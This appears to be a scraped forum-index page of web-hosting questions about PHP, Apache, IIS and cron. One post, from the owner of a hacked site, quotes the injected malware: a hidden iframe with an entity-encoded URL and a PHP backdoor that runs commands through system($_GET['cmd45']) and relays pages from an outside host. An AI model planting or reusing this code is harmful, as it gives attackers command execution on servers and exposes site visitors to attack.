Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
  Advanced Search
  HOME    TRACKER    Web Hosting


Advertisements:




SuperbHosting.net & Arvixe.com have generously sponsored dedicated servers and web hosting to ensure a reliable and scalable dedicated hosting solution for BigResource.com.







How Can We Make PhP Run On Html Pages


How can we make PhP run on html pages?


View Complete Thread with Replies

Sponsored Links:

Related Forum Messages:
IIS - Make PHP Run With .html Extension
I know nothing about IIS as I ormally use Linux / Apache so I'm not sure this is possible.

I have built a site in PHP that the client now wants to move over to a IIS-hosted server. Although it's all in PHP because it was a re-build of an old static site I used ModRewrite to make all the page .html.

I know IIS doesn't have a URL rewrite feature as such. What I was wondering is, is it possible to configure IIS so that a PHP page can have a .html extension?

View Replies!   View Related
All Pages (HTML, PHP) Show Up As Downloads
I recently updated to Cpanel 11, which has resulted in a very interesting error.

All pages (html, PHP, etc) do not display, but rather show a download dialog box. What's wrong?

something is wrong with httpd config?

View Replies!   View Related
Java Script Injection On Html Pages
We are facing this strange Problem from yesterday that

<script language=javascript src= [url]
is added on end of every html Pages.

I don,t know that how this Injection on every Html Pages.

View Replies!   View Related
How To Make Index.html In Evey Folder
how can i make in SSH install index.html in evey folder without index in my server?

View Replies!   View Related
Enabling Of Html To Run SSI
Is there any way to run SSI with html instead of shtm or shtml in Windows 2003 IIS 6 server?

View Replies!   View Related
Static Index.html Pages Hacked, Also Index Files
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View Replies!   View Related
.html Instead .php
I want my server looking and open index.html first and after index.php, I mean if have both index.html and index.php in a folder, the index.html will be open by default .

I know it name: DirectoryIndex directive ..

View Replies!   View Related
Html Ok, Php Not Ok
PHP 5.2.5 / Apache 2.2 / suPHP enabled

index2.html shows "it works" but index.php does not, shows up blank ....

View Replies!   View Related
Why Doesn't .html Override .php
I have a curious problem, and have scoured the net for a solution.
Basically, while developing a Joomla site, I have had a standard .html holding page in place.

I uploaded the Joomla site in the 'background' to continue developing the website while the holding page was in place. I always thought that .html would always display first in the browser, before index.php.

However the index.php file always displays first. I've tried changing the htaccess file etc but at this point nothing seems to be working.

View Replies!   View Related
How To Have .html Treated As .php
I have several websites running on Linux hosting with cPanel, that were developed as static .html files, where for ease of maintenance (use of includes) and future improvements I want the pages treated as .php. On one server I use, I just put:

AddHandler application/x-httpd-php .html .shtml

into the .htaccess file and the pages were treated as .php, exactly what I wanted.

The other sites are on a cPanel reseller account at iVhosting.com. When I tried this there, it didn't work. I tried some other ideas suggested by Google, which resulted in the .php files being downloaded as text files. I contacted iVhosting support, who stated: "you will not be able to do this on our server since we use phpsuexec/suphp for more security. PHP pages have to have .php extension."

So what can I do? I can't rename the pages all to .php because this would break incoming links and destroy the page's PR. Creating a permanent redirect for each page to the same name with .php extension would create a very large .htaccess and be extremely tedious to do.

View Replies!   View Related
Php Parsing In Html
I want to use php code in .html extension files. I tried to accomplish this through a .htaccess file, but that did not work out. I tried to add a handler through cpanel, but it does not parse the code in the .html file. I renamed the index file to index.php and works fine.

I would like to keep the .html extension.

I tried several Handlers through Cpanel which all failed to work.

Tried: AddHandler application/x-httpd-php .php .html and AddType application/x-httpd-php .php .html (with and without application/) and AddHandler server-parsed .html

View Replies!   View Related
Php Caching To Html, Any Better Options
Currently I cache php to html in a folder, and any time I upload index.php the whole site recaches. It also is set to a specific time such as 1 day, and the specific page will recache on someone hitting a page in 1 day from last cache.

The problem is when there are thousands of people on, and the index.php is uploaded the site crashes due to connections to the database, and possibly writing to the folder as well.

What is the best way to cache these files to html, and not have it crash every time I try to update things on the site. Also it needs to be something somewhat simple.

View Replies!   View Related
HTTPS Not Processing .php .html
I've just set up HTTPS on Apache (CentOS). However if I try to access the HTTPS site I just get prompted with the save as dialog to download either the .php file or .html. How do I get it to show (and process) it instead, like when accessing normally (non-ssl).

View Replies!   View Related
Include .html Into .php (PLESK)
I have a server running PLESK 8.2 (latest version). With PHP4 and 5 support. I want to include .php files into .html (which work fine on LINUX CPANEL but on on WINDOWS PLESK).

Please can anyone suggest how can i make my WINDOWS server work so that it includes .php into .html. (.php included in .php works fine).

ALSO i tried to add (application/x-httpd-php in IIS MIME TYPES to extension .html and even .php but it did not work.)

View Replies!   View Related
PHP Vs HTML Vs SHTML Benchmarks
I'm building website for big number of visitors and I'd like to know what is the best way to do such a website.

1. PHP/MySQL. Pages are created by query (on the fly).
2. HTML. Pages created and placed on server's HDD as plain .html files.
3. SHTML. Pages are created by query (on the fly), but from 3 HTML parts (one header for all files, unique body, one bottom for all files). So, I can save some HDD space.

I'm looking for some kind of benchmark. I'd like to know what is CPU load and memory usage difference between this methods.

View Replies!   View Related
Illegal Characters In Php Pages
I have a cpanel 11 server with php 4.4.6 installed. my site use php scripts and one day even if the file was not edited, not touched at all , i get errors like

Parse error: syntax error, unexpected ']' in /home/xxx/public_html/wp-includes/post.php on line 37

I checked and could find a lot of illeagal characters in my php file. See below. for post_status , it became post_statuó and edit_date became edit_date<8d>. If you read through the code, you can see a lot of illegal characters. This is why i get parse errors. I had to replace the file from backup and the issue fixed. But this problem continues to occur for more files and i can't find a reason for this. Again I am the only one with access, I use BBedit to edit php files when needed in Mac OS X, and beleive I know what is being edited and again, those file which gets errors does not need to be edited for nothing, not even to modify wordpress.

======================================================
iN ( 'draft' == $post['post_statuó'] && empty($postarr['edit_date<8d>]) && empty($postarr['post_date¯]) &&
('0000-00-00 00:00:00' == $post['post_date']) )
$clçar_date = true;
else
$clear_nate = false;

// Merge old and"new fields with new fields overÃriting old ones.
$postarr = arRay_merge($post, $postarr);
$poytarr['post_category'] = $post_cáts;
if ( $clear_date ) {
$poótarr['post_date'] = '';
$postërr['post_date_gmt'] = '';
}

éf ($postarr['post_type'] == 'at|achment')
return wp_insert_atÃachment($postarr);
======================================================

View Replies!   View Related
Hacker Adds Malicious Code To All Html And Php Files
we have been having a strange hacking problem on our server that we can not seem to find how they are managing to accompish. I am just wondering if anyone here may be able to offer any suggestions on this?

The problem:

On our server, a hacker has managed to add malicious code to all html and php files on two hosting accounts that we operate. These two accounts are seperate and do not share login information. This is the 2nd time this has happened within the past two weeks.

Originally it was suspected that we needed to add SuPhp to prevent insecure permissions. This has been done, yet the problem continues.

On all html pages, malicious javascript has been added, and on all php files malicious php code has been added.

We have a lot of accounts on this server, and as mentioned only the two accounts seem to have been affected by this.

What we have done to attempt to secure the server:
1) We have installed SuPhp.

2) We have ensured that all scripts on the affected websites are updated and running the latest versions.

3) We have changed all the passwords.

Our server is a managed server, and our server company has been very helpful, however at the moment can not seem to pinpoint the problem. There also does not appear to be any indication via the access logs of the infected files being altered, yet they have been altered.

The computers used to access these websites are clean, and do not have any malware running, which would allow a hacker to obtain any passwords. It also does not appear that the hacker was able to obtain root access.

One other thing I noticed, we run Kayako on one of the sites. When this problem occurs we receive a message that Zend Optimizer is not installed on our server when attempting to login to Kayako, when in fact it is.

Searching Google, I found the following link on the Zend site in which the symptoms seem to be very similar. What are the odds this could be a Zend vulnerabilty?

[url]

View Replies!   View Related
My PHP Pages Prompted To Download, Intead Of Displaying
why starting from last 2 days everytime I visit my page on my Cpanel Server, it will prompted to download the file instead of displaying it.

My Cpanel info:
Operating system Linux
PHP version 5.2.5
cPanel Version 11.18.3-STABLE 21703

View Replies!   View Related
Blank Php Pages- Mod_cgi- Suexec? W00t
I am having trouble with blank pages on some web applications; ccHost and phpBB3.

I can get these to run on a seperate VPS, that isn't as securely locked down and the dedi --- but it is of course the dedi I want to run these apps from.

I simply get blank pages when trying to access ccHost. As if PHP isn't parsing it. But in a phpBB3 installation I'm getting random blanks, some of which I can refresh out of ... What's even weirder: sometimes when I try to viewtopic - or call some function ... I get the download dialogue!? (Do you want to open or download index.php for instance).

I've been trying loads of stuff. It seems that mod_security isn't running anymore, so that isn't the issue. Could mod_cgi or mod_suexec perhaps be the cheeky offenders? I have absolutely no idea.

Just hoping someone can help me where to look... Or how I can debug this issue. I'm at a loss in how to continue. Any help will be very appreciated.

Some details... The server is hardened and secured, but...
I'm running other CMS installs on the server, and they are working fine. Even a phpBB2 install is running smooth. Besides this I'm using LAMP setup on CentOS and webmin is running.

View Replies!   View Related
Make Php Nonexecutable In A Directory
I have an upload feature in my site.. On upload i check the file extention of the uploaded file.. But recently a person uploaded a file like xx.php.jar and as the extention is jar it got uploaded.. But when we go to the file through url it gets executed as php... So any solution how can i stop execution of php files in my upload directory

View Replies!   View Related
Unable To Make Changes To Php.ini
i'm trying to configure PHP, as I really need to turn magic quotes off and raise the memory limit. i don't want to use .htaccess - too many sites

I got plesk 8.2.1, php5.1

well, to make it short, I ran 'phpinfo()' to see where php.ini was: etc/php.ini

I change that, restart httpd, nothing happens. restart the server, nothing still. my changes are not applied when I run 'phpinfo()' again.

i try 'locate php.ini' from the terminal, there are a few!

/usr/local/psa/admin/conf/php.ini
/usr/local/psa/admin/conf/php.ini.def
/usr/local/sitebuilder/php.ini
/etc/php.ini
/etc/php.ini.
/etc/php.ini.saved_by_psa
/etc/php.ini.rpmsave

... plus some in the opt folder (that should be just the cache, uh?)

the problem is that I tried to open all of them, to see where the hell php was getting the settings from, but none of them seem to reflect php's settings.

meaning, I don't know what file I can use to configure PHP.

all of them, for instance, say 'memory_limit: 32M', but php is set at 8M, and phpinfo() tells me memory_limit 8M.

any idea why this might be happening?

does Plesk have some tool to configure PHP that makes PHP ignore my changes?

View Replies!   View Related
How To Limit Html Parsing To .htm, .html Files Only
My webserver treat ALL files with html tags inside as html files, e.g. text files or EVEN files without extension.

How to only allow .htm, .html files?

I've deactivated temporary mime magic, I also tried with some RemoveHandler, AddType lines but nothing

View Replies!   View Related
How To Make MySQL Functions In PHP In Server
how to make MySQL functions in PHP in server,bcz when i intall VB in my dedicated server it comeing is there is any option in WHM to chnage these funtion!

View Replies!   View Related
How To Know Which Mode Php Run
how to know in which mode php running ? CGI or ISAPI

View Replies!   View Related
Cron: How To Run Php File
My server with cPanel, I'd like run file http://domain.com/file.php at 0h00 everyday, I have set the Cron Job in cPanel :

Code:
0 0 * * * /usr/bin/ehpwget http://domain.com/file.php
but The cron is not working well

Code:
/bin/sh: /usr/bin/ehpwget: No such file or directory

Can any one please let me know how to run a php file with cron.
(as user or root)

View Replies!   View Related
Cron Run Php Scripts
I have my own server. I create php file for adding cronjobs. I checked /etc/cron.deny and /etc/cron.allow. both of them is empty so no problem. I execute the php script but nothing : I check with crontab -u user l and it told me no cronjobs for that user. When I access as root from ssh and try teh same command, it works fine. I don't understand how to fix that.

View Replies!   View Related
My Site Cannot Run Php Files
my site cannot run php files

move from server 1 to server 2

another site no ploblem move from server 1 to server 2 too

What ploblem i need fix this

here my site

[url]

View Replies!   View Related
Get PHP To Run On Windows Host
I want to get PHP to run on Windows webhost. The webhost is not able to run a simple PHP file with phpinfo() yet. Tech support says I can use .htaccess to get PHP to run.

What is the best way to setup PHP on Windows Host so that it can run Joomla?

View Replies!   View Related
How To Run PHP 4 And 5 In Ubuntu Without CGI
When we chose Symfony to implement [url], PHP 5 was needed but we only had PHP 4 installed in our Ubuntu hosting servers. We couldn¡¯t just migrate everyone to PHP 5 since some of client¡¯s applications were incompatible with PHP 5. Some tutorials were found online explaining how to run PHP 4 and PHP 5 simultaneously such as [url] and [url]but they all used CGI. As you probably know, CGI is not scalable and we needed to scale in PHP4 and PHP5 since we needed to server millions of hits in both configurations. The following are additional the requirements we had:

1. Run Apache

2. Use mod_php for both PHP versions.

3. Run eAccelerator with both PHP versions.

4. Use as many Ubuntu packages as possible to ease maintenance issues and easily deploy on multiple servers.

5. Use Ubuntu 6.06.1 LTS

The solution we came up with was to run Apache 2 with PHP 5 and run Apache 1 with PHP 4 on separate IPs. Ubuntu comes already with these packages. The only package we had to compile was eAccelerator. The following lists the steps taken to get this setup:

Apache 2 with PHP 5

* apt-get install apache2 libapache2-mod-php5 php5 php5-cli php5-curl php5-gd php5-mysql php5-dev make php5-mcrypt php5-imap
* vi /etc/php5/cli/php.ini and uncomment extension=mysql.so
* vi /etc/apache2/ports.conf and put Listen Your.IP.Goes.Here:80
* a2enmod expires
* vi /etc/apache2/conf.d/hosting
<VirtualHost *>
DocumentRoot /home/httpd/mainpage
ServerName mainpage.com
ServerAlias www.mainpage.com
Options Includes FollowSymlinks
AddType application/x-httpd-php .php
DirectoryIndex index.php index.html index.htm
</VirtualHost># Cache images and javascripts
ExpiresActive on
ExpiresByType image/gif ¡°access plus 1 week¡±
ExpiresByType image/jpeg ¡°access plus 1 week¡±
ExpiresByType image/png ¡°access plus 1 week¡±
ExpiresByType image/x-icon ¡°access plus 4 week¡±
ExpiresByType application/x-javascript ¡°access plus 4 week¡±
ExpiresByType application/x-shockwave-flash ¡°access plus 4 week¡±
* cd /usr/local/src
* wget http://bart.eaccelerator.net/source/...-0.9.5.tar.bz2
* tar xjvf eaccelerator-0.9.5.tar.bz2
* cd eaccelerator-0.9.5/
* phpize5
* ./configure
* make
* make install
* mkdir /var/tmp/{eaccelerator4,eaccelerator5}
* chown www-data /var/tmp/eaccelerator*
* chmod 700 /var/tmp/eaccelerator*
* vi /etc/php5/apache2/php.ini and add the following:
zend_extension=¡±/usr/lib/php5/20051025/eaccelerator.so¡±
eaccelerator.shm_size=¡±0¡å
eaccelerator.cache_dir=¡±/var/tmp/eaccelerator5¡å
eaccelerator.enable=¡±1¡å
eaccelerator.optimizer=¡±1¡å
eaccelerator.check_mtime=¡±1¡å
eaccelerator.debug=¡±0¡å
eaccelerator.filter=¡±"
eaccelerator.shm_max=¡±0¡å
eaccelerator.shm_ttl=¡±0¡å
eaccelerator.shm_prune_period=¡±0¡å
eaccelerator.shm_only=¡±0¡å
eaccelerator.compress=¡±1¡å
eaccelerator.compress_level=¡±9¡å

Apache 1 with PHP 4

* apt-get install libapache-mod-php4 php4-mysql php4-gd apache-ssl apache-common libzzip-0-12 php4-common php4-dev apache
* dpkg-reconfigure apache and uncheck mod_userdir and check mod_php4 and cancel on hostname
* vi /etc/apache/httpd.conf and make sure to add this
Listen Your.SECONDIP.Goes.Here:80
NameVirtualHost *# Cache images and javascripts
ExpiresActive on
ExpiresByType image/gif ¡°access plus 1 week¡±
ExpiresByType image/jpeg ¡°access plus 1 week¡±
ExpiresByType image/png ¡°access plus 1 week¡±
ExpiresByType image/x-icon ¡°access plus 4 week¡±
ExpiresByType application/x-javascript ¡°access plus 4 week¡±
ExpiresByType application/x-shockwave-flash ¡°access plus 4 week¡±Remove the following
<IfModule mod_alias.c>
Alias /icons/ /usr/share/apache/icons/

<Directory /usr/share/apache/icons>
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>

Alias /images/ /usr/share/images/

<Directory /usr/share/images>
Options MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</IfModule>
<IfModule mod_alias.c>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory /usr/lib/cgi-bin/>
AllowOverride None
Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
</IfModule>

Change
<Directory />
Options SymLinksIfOwnerMatch
AllowOverride All
</Directory>
ServerSignature Off
ServerTokens Prod
* cd /usr/local/src
* rm -rf eaccelerator-0.9.5
* tar xjvf eaccelerator-0.9.5.tar.bz2
* cd eaccelerator-0.9.5/
* phpize4
* ./configure ¨Cwith-php-config=/usr/bin/php-config4
* make
* make install
* vi /etc/php4/apache/php.ini and add the following:
zend_extension=¡±/usr/lib/php4/20050606/eaccelerator.so¡±
eaccelerator.shm_size=¡±0¡å
eaccelerator.cache_dir=¡±/var/tmp/eaccelerator4¡å
eaccelerator.enable=¡±1¡å
eaccelerator.optimizer=¡±1¡å
eaccelerator.check_mtime=¡±1¡å
eaccelerator.debug=¡±0¡å
eaccelerator.filter=¡±"
eaccelerator.shm_max=¡±0¡å
eaccelerator.shm_ttl=¡±0¡å
eaccelerator.shm_prune_period=¡±0¡å
eaccelerator.shm_only=¡±0¡å
eaccelerator.compress=¡±1¡å
eaccelerator.compress_level=¡±9¡å

View Replies!   View Related
Can't Run PHP Stable With Versions Above 5.0.3
Windows 2003
IIS6
PHP 5.0.3 and PHP 5.2.1 running with the ISAPI dll
MySQL 5.1.11

I kind of have 2 problems, the first being the one in the thread title and the second is while running any version of php my main site experiences slowdowns and hangs.

For some reason whenever I try to install a new version of PHP I have major problems. I have tried several times when new versions come out. I just recently tried the newest, 5.2.1, which I want to try and use, I think there are performance improvements for IIS and windows platform in the new 5.x versions?

Anyway I can install 5.2.1 and get it running, and my sites load, but soon after my main site starts to hang, stops loading or loads extremely slow. I can't figure it out. I even tried using the exact same PHP.ini settings from my old working php install.

So everytime I am forced to go back to the latest version that I know works with my server/sites, 5.0.3 [url]

If I restart IIS the pages start loading fast again right after, even recycling the worker process that the site uses usualy makes the pages load normal again.

I tried setting the worker process to recycle every 60min and to use 2 web gardens. These changes havn't really had any affect for better or worse.

Downgrading back to PHP 5.0.3 seems to run a bit more stable, but even with this version I get these slowdowns now. I have been running my site(s) on this server for 3 years now and most of the time they have ran stable.

--------------------------------------------------------

I was sleeping this morning and recieved a text-message saying the site wasn't loading. So I wake up and the site indeed was pretty much not loading at all. I look at permon that I left running to see this: [url]

I give IIS a restart, which you can see above, then the levels go back to normal, here is a screen shot a couple minites later to what the "Current Connections" graph usualy looks like when the site loads fine. [url]

During this slowdown the CPU usage was not maxing out, was maybe averaging 60% and ram was 50%. I am getting a 2nd server soon to off-load the MySQL to it and have it dedicated for that. But i don't think that will help this current issue. Here is the system resources when the site is loading fine: [url]

I have around 40 or so other sites hosted on IIS and my main site "canadaka.net" which is purple on the top graph, is the only one that hangs or slowsdown. When this slowdown happens to this site, all the other sites on IIS, which are on a seperate worker process, continue to load fine.

I can't figure out why these slowdowns are happening.

View Replies!   View Related
Crontab To Run PHP [without Using Wget And Lynx]
Hello, I don't know how to use crontab to run PHP without using wget and lynx

1) The PHP script can run via SSH command line mode without problem
2) I can use crontab to run the PHP script with wget or lynx.

However,

3) The script will not run if i using below entry

1 2 * * * php /path/to/script/crontest.php
1 2 * * * php -q /path/to/script/crontest.php
1 2 * * * php -f /path/to/script/crontest.php

1 2 * * * /usr/local/bin/php - /path/to/script/crontest.php
1 2 * * * /usr/local/bin/php -f /path/to/script/crontest.php
1 2 * * * /usr/local/bin/php -q /path/to/script/crontest.php

View Replies!   View Related
Force PHP Not To Run On 777 Folder
how to force that the PHP files won't run if the folder permission is 777

I saw this in micfo.com

but I want to know how to do this

View Replies!   View Related
How Do I Make My PHP Form Script Work On My Fasthost Windows Dedicated Server
We have a Fasthosts Dedicated Windows Server and I now need to run a PHP script to enable us to use a online enquiry form. I have contact Fasthosts and the are not able to advise how to enable/use these scripts as it falls outside the support package.

Does anyone know how to enable or make it work in the Matrix Control?

The error i get is:

The page cannot be displayed
You have attempted to execute a CGI, ISAPI, or other executable program from a directory that does not allow programs to be executed.

Please try the following:

* Contact the Web site administrator if you believe this directory should allow execute access.

HTTP Error 403.1 - Forbidden: Execute access is denied.
Internet Information Services (IIS)

Technical Information (for support personnel)

* Go to Microsoft Product Support Services and perform a title search for the words HTTP and 403.
* Open IIS Help, which is accessible in IIS Manager (inetmgr), and search for topics titled Configuring ISAPI Extensions, Configuring CGI Applications, Securing Your Site with Web Site Permissions, and About Custom Error Messages.
* In the IIS Software Development Kit (SDK) or at the MSDN Online Library, search for topics titled Developing ISAPI Extensions, ISAPI and CGI, and Debugging ISAPI Extensions and Filters.

View Replies!   View Related
Configuring Apache To Run Php Without Shebang Line
I posted this problem in the PHP forum without a response. I thought this forum might be better.

View Replies!   View Related
Prevent Php Script Run As .gif Or .jpg
Does anyone know how to prevent some shell, php script change file name from file.php to file.jpg or file.gif and upload to server and run it to attack server?

View Replies!   View Related
Setting Index.html As Default Page Instead Of Index.php?
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.

View Replies!   View Related
Cheap Reliable Server That Can Run PHP/MySQL With Plesk
I currently have a decent server that runs around 10 websites, but 1 of those sites contributes around 99% of the total traffic. This large site is being moved onto a new server, leaving the remaining 9 sites rattling around on this big (and expensive!) server.

So, I am now looking for a smaller server to handle the other smaller sites. They get minimal traffic - around 5k uniques a day.

View Replies!   View Related
Changing Register_globals From .htaccess Will Cause 500 Error When Php Run As CGI
Today I have a customer want to swich the register_globals on on his account ,,, i'm running PHPSuExec and running php as cgi not as Apache module , and as you know using php as cgi will cause internal error 500 if some one add php_flag register_globals on
to .htaccess file.

what is the soluation to switch register_globals on for his account only without using the .htaccess file.

put in mind the php files that need the register_globals to be on is encrypted with zend , so we does not have access to it for modification.

have any one have the solution?

View Replies!   View Related
How To Password Protect Web Pages, I Can Protect Directories But Can't Put Pages In
i did make a big message on here but it deleted when i back spaced

my website is aviation cafe dot net / sample and i need you to help me with password protecting a webpage, i wanted the address to be / the silver sword and definitly not to look like it does now.

username: webforum
pass: password

View Replies!   View Related
Php5 "make" : Php.h Not Found
I'm trying to recompile my php5 with eaccelerator.

I get following error messages:

Quote:

./configure --quiet --prefix=/usr --datadir=/usr/share/php5 --mandir=/usr/share/man --bindir=/usr/bin --libdir=/usr/lib64 --includedir=/usr/include --oldincludedir=/usr/include --with-_lib=lib64 --sysconfdir=/etc/php5/apache2 --with-config-file-path=/etc/php5/apache2 --with-config-file-scan-dir=/etc/php5/conf.d --with-exec-dir=/usr/lib64/php5/bin --with-php5-iflags="-Idir -Idir/php5/main -Idir/php5/Zend -Idir/php5/TSRM" --enable-magic-quotes --enable-libxml --enable-session --with-pcre-regex --enable-xml --enable-simplexml --enable-spl --enable-safe-mode --enable-sigchild --disable-debug --enable-memory-limit --enable-inline-optimization --disable-rpath --with-apxs2=/usr/sbin/apxs2 --enable-eaccelerator --disable-all --disable-cli --with-zlib

appending configuration tag "CXX" to libtool
appending configuration tag "F77" to libtool

when it comes to "make" I get this:

Quote:

15221662:~/install/eaccelerator-0.9.5.1 # make
/bin/sh /root/install/eaccelerator-0.9.5.1/libtool --mode=compile gcc -I. -I/root/install/eaccelerator-0.9.5.1 -DPHP_ATOM_INC -I/root/install/eaccelerator-0.9.5.1/include -I/root/install/eaccelerator-0.9.5.1/main -I/root/install/eaccelerator-0.9.5.1 -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/Zend -I/usr/include/php/TSRM -DHAVE_CONFIG_H -g -O2 -prefer-pic -c /root/install/eaccelerator-0.9.5.1/eaccelerator.c -o eaccelerator.lo
gcc -I. -I/root/install/eaccelerator-0.9.5.1 -DPHP_ATOM_INC -I/root/install/eaccelerator-0.9.5.1/include -I/root/install/eaccelerator-0.9.5.1/main -I/root/install/eaccelerator-0.9.5.1 -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/Zend -I/usr/include/php/TSRM -DHAVE_CONFIG_H -g -O2 -c /root/install/eaccelerator-0.9.5.1/eaccelerator.c -fPIC -DPIC -o .libs/eaccelerator.o
In file included from /root/install/eaccelerator-0.9.5.1/eaccelerator.c:28:
/root/install/eaccelerator-0.9.5.1/eaccelerator.h:31:17: php.h: No such file or directory
/root/install/eaccelerator-0.9.5.1/eaccelerator.h:32:18: zend.h: No such file or directory
/root/install/eaccelerator-0.9.5.1/eaccelerator.h:33:22: zend_API.h: No such file or directory
/root/install/eaccelerator-0.9.5.1/eaccelerator.h:34:29: zend_extensions.h: No such file or directory
make: *** [eaccelerator.lo] Fehler 1

the files php.h and zend.h, zend_API.h etc. are in subfolder of /usr/include/php5
that's why I have this option in the configure line:

Quote:

-with-php5-iflags="-Idir -Idir/php5/main -Idir/php5/Zend -Idir/php5/TSRM"

View Replies!   View Related
Run Php4 For .php4 Files And Php5 For .php [httpd.conf]
First off my error: apache force downloads .php4 files

Background:
Im attempting to run php4 and php5 at the same time. I had php 5 installed with the server when I got it.

I have installed php 4 from the source like this:

Code:
./configure --with-apxs=/usr/local/apache/bin/apxs --prefix=/PHP4 --without-mysql
I then copied the php.ini file to /PHP4/php.ini

In my httpd.conf Im loading and adding both php 4/5 modules like so:

Code:
LoadModule php4_module libexec/libphp4.so
LoadModule php5_module libexec/libphp5.so

AddModule mod_php4.c
AddModule mod_php5.c
Then later in the httpd.conf Im trying to tell apache to handle .php4 files with PHP 4 and .php with PHP5

Code:
AddType application/x-httpd-php .php
AddType application/x-httpd-php4 .php4
I restarted apache to load the new conf. .php files still use PHP5, but for some reason .php4 files are being downloaded, not running with PHP 4.

If I use htaccess to application/x-httpd-php4 php, .php files also force download. What am I missing?

View Replies!   View Related
Why Non-ssl Pages Are Blank, Ssl Pages Work
I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....

View Replies!   View Related
ManageMyServices... Run.. "Forest" Run
Server been down over 14 hours..... over 50 sites down.... standard response within a few hours... we will reboot your server within the next 30 min. Sites come up for 3 minutes then down again.... Resubmit ticket... few hours later.... same response... reboot server.... same result... server still down.

Last ticket submitted over 3 hours ago.... no response...server still down. No phone number... Hard to believe anyone would run a business in this manner, knowing peoples livelyhood depends on their sites being up.

View Replies!   View Related
HTML CODER/DECODER
i was wondering if anyone no's of a html/php coder,and decoder via a password thats an offline app?

its just ive made a script and i want it to use liencekeys for activation so i would need to encryt the code some how,

does anyone no off a program that could do all of this for me?

View Replies!   View Related
.com/.us & Htm/html
1. Are there any restrictions or special problems with hosting domains as a function of whether they are a ".com" versus a ".us" domain?

2. Are there any differences or problems when hosting domains which have index files which are htm versus html?

For these items, are there good sources for detailed explanations?

View Replies!   View Related
Exploit.HTML.IESlice.bz
Has anyone encountered server being infected with Exploit.HTML.IESlice.bz
My server is infected with this new rootkit. Is the 'OS reload' only the solution?

View Replies!   View Related
Torjan In Html Index
in many sites in my server torjan in index.html

in <ifram>

how to save my server from that .js torjan

and i need to ask about other thing this torjan can chang any this in backups

View Replies!   View Related
AntsSoft HTML Protector,
This software is by AntsSoft

"HTMLProtector is a tool that helps you protect the content of your web page by preventing others from viewing your source code. "

Is anyone familiar or has had any experience with this.

View Replies!   View Related
HTTP Request For HTML Only
Is there a way to construct an HTML request so that only HTML text is returned (without images or rich media)? I assume search engines do this - how?

What I'm trying to do is write an Apache module that will retrieve only text from a web site. The idea is to provide a Lynx-like experience, using Apache as a proxy between my workstation and my ISP.

View Replies!   View Related
Apache Noindex.html
I currently have a web site with an index.html file inside the Document Root. I also have the noindex.html inside the /var/www/error directory. From time to time for some reason the noindex.html shows when going to the web site even if I have the index.html file inside the Root Document.

View Replies!   View Related
Phish Pages
I have these few old accounts(websites) that has history of being phish attacked. The problem is like this. When I transfer them to newer server using whm backup transfer in most cases hacker can still upload phish pages BUT if I recreate the account and moved old the files manually to that new account and server phish attacked is gone. Any idea why this is happening? Probably old cpanel files that causes this? where do I start? For some reasons I cannot just recreate the account then do it manually in behalf of the clients. Some sites are somehow complicated if I do it manually.

View Replies!   View Related
Pages Back Up
I just recently changed the server my website was being hosted on (my website being a small hosting-biz) and my site has been replaced by 1and1's temporary landing page. The thing is I have no idea or experience on what to do to put my pages back up. I don't even think I have them saved anywhere...

View Replies!   View Related
Sending HTML E-mail To 50,000+
I run the website, [url]and am looking for a way to send newsletters to the members of the website.

There are currently over 53,000 registered members. We have tried emailing the database before using a variety of techniques but they are not all fool proof.

Is there any software you could recommend or would I have to use a 3rd party provider? If so, how much would this cost (to do a weekly or monthly mailshot).

The website is run on a core2duo E6750 with 4GB RAM and a 100mbps port - is this high end enough to support e-mailing this quantity of messages?

View Replies!   View Related
Copyright © 2005-08 www.BigResource.com, All rights reserved